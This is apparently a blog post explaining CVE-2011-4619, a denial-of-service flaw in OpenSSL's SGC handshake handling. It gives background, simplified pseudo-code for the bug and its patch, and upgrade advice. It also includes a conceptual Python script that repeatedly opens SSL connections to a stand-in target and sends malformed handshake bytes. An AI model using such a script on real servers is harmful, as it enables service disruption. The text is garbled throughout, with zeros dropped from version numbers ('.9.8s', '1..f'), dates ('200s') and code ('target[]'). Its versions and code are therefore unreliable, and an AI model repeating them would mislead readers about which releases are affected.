In the history of cryptography, bugs in SSL/TLS software often spell serious trouble for websites and their users. One such issue was CVE-2011-4619, which affected certain releases of OpenSSL. In this post, we’ll break down what went wrong, how it could be exploited, and how to keep your server safe.

What Is CVE-2011-4619?

CVE-2011-4619 is a denial of service vulnerability discovered in OpenSSL’s SGC (Server Gated Cryptography) implementation. In versions before .9.8s and 1.x before 1..f, OpenSSL did not properly manage handshake restarts—essentially, it got confused if a client restarted the SSL handshake process in a certain way. An attacker could abuse this flaw to spin your server’s CPU, draining resources and causing downtime.

OpenSSL 1..x < 1..f

If you’re running anything older, stop and upgrade now!

What is SGC in OpenSSL?

SGC, or Server Gated Cryptography, was a workaround in the late 90s and early 200s, allowing certain servers to negotiate stronger encryption with old, export-restricted Microsoft browsers. In modern cryptography, SGC is largely irrelevant, but the compatibility code hung around in projects like OpenSSL.

How does the Attack Work?

This vulnerability centers on what happens when a client sends a handshake restart. The specifics were, intentionally, not fully disclosed to limit early abuse, but the OpenSSL team explained that bad handshake handling in the SGC code could be triggered remotely.

Here’s the gist:
A malicious client could repeatedly trigger handshake restarts, and OpenSSL would try to process them, tying up the CPU, potentially to 100% utilization. This could make your server unresponsive, i.e., a Denial of Service (DoS).

Example Code: How The Bug Was Fixed

Let’s look at the fix. In the OpenSSL commit, the problem was in ssl/s3_srvr.c. Here’s a simplified version of the old buggy function:

// Vulnerable pseudo-code
if (is_SGC_restart(handshake)) {
    // Mistakenly re-run part of handshake
    do_handshake();
    // Missing exit condition or state validation
}

The patch added better checks to ensure handshake restarts couldn’t be abused

// Patched code
if (is_SGC_restart(handshake)) {
    if (already_restarted) {
        // Don't loop or allow endless restart attempts
        return ERR;
    }
    mark_as_restarted();
    do_handshake();
}

This stopped attackers from forcing OpenSSL into repeated, resource-consuming cycles.

How To Exploit It (Demonstration)

While most public exploits are proof-of-concept and require detailed SSL knowledge, a simplified approach would be:

Use a script to open many SSL connections to the server.

- Each connection repeatedly sends Client Hello messages or fragments/restarts the handshake.

Python Example (conceptual)

import socket
import ssl

context = ssl.create_default_context()
target = ('vulnerable.example.com', 443)

for i in range(100):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ssl_sock = context.wrap_socket(s, server_hostname=target[])
        ssl_sock.connect(target)
        # Instead of completing the handshake, send a partial one, or force a restart
        ssl_sock.send(b'\x16\x03\x01')  # Malformed handshake start
        # Do not complete handshake, close and repeat
        ssl_sock.close()
    except Exception as e:
        print(f"Attempt {i}: {e}")

WARNING: Do *not* run code like this against systems you do not own or have explicit permission to test.

Real-World Impact

While this bug doesn’t break encryption, it can bring down a vulnerable public web or mail server, especially if attackers automate the process. It’s a classic DoS vulnerability—simple to exploit, devastating if left unpatched.

Upgrade OpenSSL to at least .9.8s, or 1..f or later.

Download: https://www.openssl.org/source/

References & Further Reading

- National Vulnerability Database (CVE-2011-4619)
- OpenSSL Security Advisory (Update)
- Example Commit Fix
- Red Hat Bugzilla Explanation

Conclusion

CVE-2011-4619 is a classic example of how legacy compatibility code, if not carefully maintained, can open the door to denial-of-service attacks. If you run OpenSSL, make sure you’re updated—and keep an eye on your cryptography libraries. Even outdated protocols you don’t use, like SGC, can become the weakest link.

Timeline

Published on: 01/06/2012 01:55:01 UTC
Last modified on: 04/11/2025 00:51:21 UTC